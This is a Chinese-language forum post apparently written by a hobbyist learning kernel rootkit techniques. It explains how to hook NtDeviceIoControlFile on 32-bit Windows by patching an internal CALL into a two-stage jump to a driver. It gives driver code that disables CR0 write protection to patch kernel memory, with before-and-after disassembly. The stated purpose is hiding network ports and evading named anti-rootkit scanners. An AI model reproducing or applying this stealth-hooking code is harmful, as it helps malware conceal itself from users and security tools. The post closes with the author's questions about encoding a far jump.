最近在研究RootKit技术,发现普通的SSDT HOOK以及inline hook很容易被一些普通的AntiRootKit工具检测到,我针对的函数是NtDeviceIoControlFile,看到这个函数大家肯定不陌生,因为这个函数经常被木马,病毒用来隐藏端口(废话)。起初,我想用修改一个字节的方法来HOOK,这个HOOK方法是由看雪的大牛Sysnap很久以前提出的,涉及到了int 0xff中断  ,然后挂钩IDT,但是NtDeviceIoControlFile这个函数调用频繁,不能用这种HOOK方式,否则影响效率。所以换种方法,反汇编NtDeviceIoControlFile的结果如下:
nt!NtDeviceIoControlFile:
8056f442 8bff            mov     edi,edi
8056f444 55              push    ebp
8056f445 8bec           mov     ebp,esp
8056f447 6a01          push    1
8056f449 ff752c         push    dword ptr [ebp+2Ch]
8056f44c ff7528         push    dword ptr [ebp+28h]
8056f44f ff7524          push    dword ptr [ebp+24h]
8056f452 ff7520         push    dword ptr [ebp+20h]
8056f455 ff751c          push    dword ptr [ebp+1Ch]
8056f458 ff7518          push    dword ptr [ebp+18h]
8056f45b ff7514          push    dword ptr [ebp+14h]
8056f45e ff7510          push    dword ptr [ebp+10h]
8056f461 ff750c           push    dword ptr [ebp+0Ch]
8056f464 ff7508           push    dword ptr [ebp+8]
8056f467 e8ac710000           call    nt!NtWriteFile+0x33d0 (80576618)
8056f46c 5d              pop       ebp
8056f46d c22800          ret     28h
可以看出,这个函数什么也没做直接调用了nt!NtWriteFile+0x33d0 ,HOOK nt!NtWriteFile+0x33d0 就等于hook了NtDeviceIoControlFile,参数处理都基本是一样啊,只多了个1,便宜了我等菜鸟了,呵呵。
在百度上跑了一会,关于HOOK CALL 的文章很少(菜鸟心理)。。我找到了一篇,从这文章了解到,原来传说中的东方微点用了好多这种HOOK,好了不废话了,来看看代码实现。。。大牛就请坐筋斗云飘过吧。。
for(cPtr=(PUCHAR)OldZwDeviceIoControlFile;cPtr<(PUCHAR)OldZwDeviceIoControlFile+PAGE_SIZE;cPtr+=Length)
{

   Length=SizeOfCode(cPtr,&pOpcode);
   if(!Length)  break;
   if (Length ==5 && *cPtr==0xE8)
    {
     OldNtWriteFileRva = *(PULONG)(cPtr+1);
     break; 
    }
}
 

Tmp=(ULONG)cPtr+9-((ULONG)cPtr+5);// 计算CALL到我们的JMP偏移
*(ULONG *)(JmpAddress+1)=(ULONG)NewNtWriteFileNext-((ULONG)cPtr+9+5);//jmp 偏移
  _asm
    
  {
    push eax
      
      mov eax, cr0 
      mov CR0VALUE, eax 
      and eax, 0fffeffffh  
      mov cr0, eax
      pop eax
  }
  
  Irql=KeRaiseIrqlToDpcLevel();
  RtlCopyMemory((ULONG)cPtr+9,JmpAddress,5);
  *(PULONG)(cPtr+1)=Tmp;//直接替我的FAKE函地址
  KeLowerIrql(Irql);
  
  __asm
    
  {       
    
    push eax
      
      mov eax, CR0VALUE 
      
      mov cr0, eax
      
      pop eax
      
  }
微点使用了2段跳,先把CALL后面的地址换成内核里的一个JMP地址,然后再JMP到自己的驱动
避开了一些AntiRootKit工具来看看结果:
nt!NtDeviceIoControlFile:
8056f442 8bff            mov     edi,edi
8056f444 55              push    ebp
8056f445 8bec            mov     ebp,esp
8056f447 6a01            push    1
8056f449 ff752c          push    dword ptr [ebp+2Ch]
8056f44c ff7528          push    dword ptr [ebp+28h]
8056f44f ff7524          push    dword ptr [ebp+24h]
8056f452 ff7520          push    dword ptr [ebp+20h]
8056f455 ff751c          push    dword ptr [ebp+1Ch]
8056f458 ff7518          push    dword ptr [ebp+18h]
8056f45b ff7514          push    dword ptr [ebp+14h]
8056f45e ff7510          push    dword ptr [ebp+10h]
8056f461 ff750c          push    dword ptr [ebp+0Ch]
8056f464 ff7508          push    dword ptr [ebp+8]
8056f467 e804000000      call    nt!NtDeviceIoControlFile+0x2e (8056f470)
8056f46c 5d              pop     ebp
8056f46d c22800          ret     28h
8056f470 e94b316678      jmp     highDeepHookNtDevice!NewNtWriteFileNext (f8bd25c0)
8056f475 cc              int     3
呵呵。。这样就避开了一些普通AntiRootKit工具检测,至少XueTr.exe是避开了,直接CALL我们的驱动可以避开Kernel_Detective_v1.3.0,运行稳定。此贴纯属自勉,望大牛们多多指教,小弟感激不尽。小弟还有一个问题,再用XDE32反汇编引擎里的指令转成机器码的时候出现这样的问题:
int Lengthg;
UCHAR JmpAddress[10];
struct xde_instr myjmp={0};
myjmp.opcode=0xea;  //绝对地址跳
myjmp.addrsize=4;
myjmp.datasize=2;
myjmp.addr_l[0]=f8052556;
myjmp.addr_s[0]=8;
Lengthg=xde_asm(JmpAddress,&myjmp);
变量JmpAddress里的机器码写入内存后,再用Windbg查看的时候为jmp 0000:f8052556  前面4个0是怎么出来的??还有从Ring0下获取SSDT原始地址http://bbs.pediy.com/showthread.php?p=810552里竹君大牛介绍的4种得到SSDT地址的方法编译时需要加个什么头文件啊??望大牛们多多指教,小弟感激不尽,谢谢。。。